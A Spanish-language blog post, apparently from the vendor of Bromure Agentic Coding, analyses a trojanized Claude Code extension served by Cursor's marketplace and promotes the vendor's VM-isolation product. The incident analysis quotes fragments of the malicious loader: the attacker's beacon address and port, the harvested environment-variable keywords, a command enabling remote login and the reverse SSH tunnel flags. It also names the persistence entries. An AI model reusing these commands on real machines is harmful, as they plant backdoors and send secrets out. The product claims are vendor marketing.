La actualización añadió una clave
Durante once horas, el 29 de octubre, el marketplace de extensiones de Cursor sirvió una extensión troyanizada de Claude Code con el propio nombre de editor de Anthropic. Al cargarse, añadía la clave SSH de un atacante, instalaba un LaunchAgent e intentaba abrir un túnel inverso, en las máquinas de hasta 5000 desarrolladores. En Bromure Agentic Coding, el agente no viene de un marketplace de editor, y una carga como esta se ejecuta en una VM a la que nadie puede llegar: el cortafuegos de salida rechaza su túnel y rebobinar el home elimina su persistencia.
Nadie tuvo que abrir un chat ni aprobar una llamada a una herramienta. El editor cargó la extensión, y 66 líneas de JavaScript se ejecutaron como el desarrollador antes que el propio código de Claude Code.
El 29 de octubre, entre aproximadamente las 2:27 y las 13:35, hora del
Pacífico, el marketplace de extensiones de Cursor sirvió una versión
troyanizada de la extensión Claude Code de Anthropic. El aviso de
seguridad de Cursor
señala las versiones 2.1.312 y 2.1.313 de anthropic.claude-code,
publicadas con la identidad de editor de Anthropic, y dice que Anthropic no
las compiló.
BleepingComputer
informa de que hasta 5000 desarrolladores estuvieron expuestos, y The
Hacker News
apunta que cualquiera con la actualización automática activada pudo
recibirla sin hacer nada.
Investigadores de Phorion y OpenSourceMalware publicaron sus análisis el 30 de octubre. Cursor retiró la extensión, cerró su marketplace para auditarlo y rotar claves, y consiguió que el servidor del atacante quedara fuera de línea. Nadie ha explicado todavía cómo se publicó esa versión con el nombre de Anthropic.
Qué hacían las 66 líneas
El atacante no tocó el código de Claude Code y puso delante un cargador de
66 líneas, al principio de extension.js. OpenSourceMalware describe el
patrón: “place a compact backdoor before a large legitimate bundle,
suppress errors, and let the expected application continue.” El cargador se
ejecutaba cuando el editor cargaba la extensión y abría su webview. El
desarrollador no tenía que empezar ninguna conversación. Después, la
extensión real se cargaba y funcionaba.
Mientras tanto, el cargador:
- Hacía inventario. Nombre de host, nombre de usuario, sistema
operativo, directorios home y de trabajo, el email global de git, la IP
pública y los nombres de hasta 40 variables de entorno que contuvieran
KEY,TOKEN,SECRET,PASS,AWSoGCP. Lo enviaba todo como JSON, por HTTP sin cifrar, a134.209.82.225:8099/beacon. - Añadía una puerta. Agregaba una clave Ed25519 con el comentario
svc-telemetrya~/.ssh/authorized_keys. - Intentaba abrirla. En macOS ejecutaba
sudo -n systemsetup -setremotelogin on, en Linux intentaba arrancarsshdy en Windows instalaba OpenSSH Server. - Llamaba a casa. Escribía una clave privada en un archivo temporal y
se conectaba a
[email protected]con-N -R '*:0:localhost:22', un túnel inverso que reenvía un puerto del servidor del atacante al puerto SSH del propio desarrollador. Se reconectaba cada 60 segundos. - Se quedaba para siempre. Un LaunchAgent de usuario llamado
com.apple.sysmonden macOS, una entrada@rebooten el crontab en Linux y una tarea programada llamadaSysMonen Windows.
Según BleepingComputer, errores de programación impidieron que SSH se
activara en muchas víctimas. La clave, la persistencia y la baliza llegaron
también a esas máquinas.
Cursor recomienda buscar la clave svc-telemetry, eliminar la
persistencia, plantearse reconstruir la máquina porque desinstalar la
extensión puede no bastar, y rotar todas las credenciales a las que la
máquina tuviera acceso, “using a trusted system.”
El código de más confianza de la máquina
Una extensión de editor se ejecuta con la cuenta completa del desarrollador. Puede leer todos los archivos del home, lanzar procesos y escribir un LaunchAgent que sobrevive al editor. Los marketplaces instalan actualizaciones sin preguntar, y el nombre de editor de esta era el de Anthropic. Un desarrollador prudente que comprobó el editor antes de instalar recibió la puerta trasera igualmente: llegó como actualización de una extensión que había instalado semanas antes.
Los agentes de código suben la apuesta. La extensión que aloja al agente es la que más permisos recibe de los desarrolladores: lee todo el repositorio, ejecuta comandos y vive en un proceso con las claves de API y los tokens de nube del entorno. Este cargador se llevó los nombres de esas variables. Leer sus valores cuesta las mismas pocas líneas.
La misma mañana en Bromure Agentic Coding
Bromure Agentic Coding ejecuta Claude Code, Codex, Grok, Kimi y omp en VM Ubuntu en tu Mac. Cada máquina es una VM propia, y el agente, sus repositorios, sus instalaciones de paquetes y sus comandos viven dentro de ella. El chat y los terminales en los que escribes los dibuja la app en tu Mac. Las credenciales reales, el proxy por el que pasa el tráfico de la VM y el registro de lo que ocurrió también se quedan en el Mac.
El agente no viene de un marketplace de editor
No hay ningún marketplace de extensiones en el camino: Bromure dibuja su
propia ventana de chat en el Mac. Claude Code se instala en tu copia de la
imagen base de Bromure mediante un paso de configuración que figura en un
catálogo firmado con la misma clave que las actualizaciones de la app de
Bromure. Ese paso instala @anthropic-ai/claude-code desde npm, envuelto
en el escáner de cadena de suministro de Socket.dev. OpenSourceMalware
incluye el paquete de npm entre las distribuciones que no se vieron
afectadas.
Todo lo que el agente instala después pasa por el proxy del Mac, que aplica
la política de cadena de suministro de la máquina. El filtro de antigüedad
viene activado, con un mínimo de dos días: las versiones de npm, PyPI,
Cargo, RubyGems y Packagist más recientes que eso se eliminan del listado
del registro, así que latest apunta a la versión más nueva que lleve dos
días publicada. La versión maliciosa de Cursor estuvo disponible once
horas. Una versión secuestrada en npm con la misma vida nunca aparece en
una máquina Bromure. Repasamos ese caso con la versión envenenada de
LiteLLM en PyPI en La versión tenía dos
horas.
La clave abre una puerta a la que nadie llega
Supón que una carga como esta entra igualmente en una máquina, a través de
un repositorio que el agente clona o de una herramienta que ejecuta. Se
ejecuta en Ubuntu, como el usuario de la máquina. No obtiene tu cuenta de
macOS, ni tu Llavero, ni el ~/.ssh de tu Mac.
Su clave svc-telemetry va al propio authorized_keys de la VM. Las
máquinas están en una red privada dentro de la app: tu Mac puede llegar a
ellas, tu LAN física no, y nada de fuera puede conectarse salvo que
publiques un servicio tú mismo. La única vía de entrada era el túnel
inverso.
El túnel nunca se abre
El túnel necesita una conexión SSH saliente a 134.209.82.225, y la
baliza, HTTP sin cifrar al puerto 8099 de la misma dirección. Cada conexión
que hace la VM pasa por el Mac, donde se aplica el cortafuegos
Outbound connections de la máquina. Sus reglas comparan host, rango de
IP, protocolo y puerto, y con Unmatched traffic en Deny solo pasan
los hosts que has listado. Una IP de DigitalOcean en el puerto 22 no está
en la lista de nadie. El cortafuegos rechaza el túnel, cada reintento de
60 segundos y la baliza.
Cada rechazo queda en la Security Timeline de tu Mac, con el host, el puerto, el protocolo y el veredicto. Un deny a la misma IP cada minuto cuesta pasarlo por alto, y lo ves mientras el atacante sigue esperando una conexión.
El inventario no vale nada
La lista de nombres de variables de la baliza habría encontrado bastante en
una máquina Bromure: ANTHROPIC_API_KEY, un token de GitHub, ajustes de
AWS. Cada valor es un sustituto. Las credenciales reales están cifradas en
el Mac, y el proxy cambia un sustituto por su valor real solo en las
peticiones al host al que pertenece. Las claves privadas SSH no están en la
VM en absoluto. SSH_AUTH_SOCK es un puente hacia el Mac que devuelve
firmas, y el ssh-agent de tu Mac nunca queda expuesto. Un cargador que
hubiera ido más allá y leído los valores habría obtenido cadenas que ningún
servidor acepta. Si hubiera enviado una a su propio servidor, el proxy
habría bloqueado la petición, pausado la VM y mostrado This environment
may have been compromised, con el nombre de la credencial y el destino.
La limpieza lleva un minuto
Cursor indica a los desarrolladores afectados que eliminen la clave y la
persistencia, se planteen reconstruir la máquina y roten las credenciales
desde un sistema de confianza. En Bromure, la reconstrucción son dos
opciones de menú. Bromure guarda un punto de control copy-on-write del home
de cada máquina cada vez que arranca. Rewind home… devuelve
/home/ubuntu a un arranque anterior a la ejecución de la carga, y se
lleva con él la clave sobrante y el lanzador ~/.config/.smt.
Reset disk vuelve a clonar el disco del sistema desde la imagen base y
se lleva el crontab. Los ajustes, las credenciales y las claves SSH de la
máquina sobreviven a ambas.
El sistema de confianza que pide Cursor es el Mac, que nunca ejecutó la carga. No hay nada que rotar, porque la VM nunca tuvo una credencial real.
Dale al trabajo arriesgado su propia máquina
Las credenciales y las reglas de cortafuegos se configuran por máquina, y
crear máquinas cuesta poco. Una máquina que prueba herramientas, plugins y
kits de inicio nuevos puede no tener credenciales de producción y un
cortafuegos que lo rechace todo salvo sus registros de paquetes. La máquina
que despliega conserva sus credenciales, con aprobación obligatoria antes
de cada uso. Para un experimento puntual, bromure-cli vm run --rm crea
una máquina que se borra al detenerse.
Sin marketplace en el camino
El chat forma parte de la app. Claude Code viene del paquete de npm de Anthropic mediante un paso de configuración firmado, escaneado por Socket.dev.
Dos días antes de cualquier novedad
El filtro de antigüedad oculta las versiones de paquetes con menos de dos días. Una versión secuestrada que vive once horas nunca se resuelve.
Una puerta a la que nadie llega
Una clave plantada acaba en el propio authorized_keys de la VM, en una red privada a la que ni tu LAN ni internet pueden conectarse.
Rechaza el host desconocido
Con Unmatched traffic en Deny, el túnel inverso y la baliza se rechazan, y cada intento queda registrado en el Mac.
Sustitutos en la VM
Cada clave de API y cada token de la VM es un sustituto, y las claves privadas SSH nunca entran. El inventario no vale nada.
Rebobinar en vez de reconstruir
Rewind home y Reset disk eliminan los archivos y la persistencia de la carga. Ajustes, credenciales y claves se quedan.
La herramienta que ejecuta al agente es parte de la superficie de ataque
Ni Cursor ni Anthropic han dicho cómo salió esa versión con el nombre de Anthropic. Para tu propia máquina, el incidente deja una cosa clara. El software que aloja a tu agente de código se ejecuta con tu cuenta y se actualiza solo, y un nombre de editor de confianza en la actualización no prueba nada sobre su contenido.
En Bromure Agentic Coding, tu agente y todo lo que toca se ejecutan en una VM en tu Mac. Esa VM solo tiene sustitutos, solo llega a los hosts que permites y puede volver a un arranque anterior a que algo saliera mal. Las claves reales nunca salen del Mac.
Sobre los infostealers que ahora recogen los tokens y los historiales de los agentes de código, lee Añadieron tu agente a la lista. Sobre un compromiso que empezó en el portátil de un desarrollador y terminó en 6300 millones de dólares, lee El portátil era la puerta de entrada.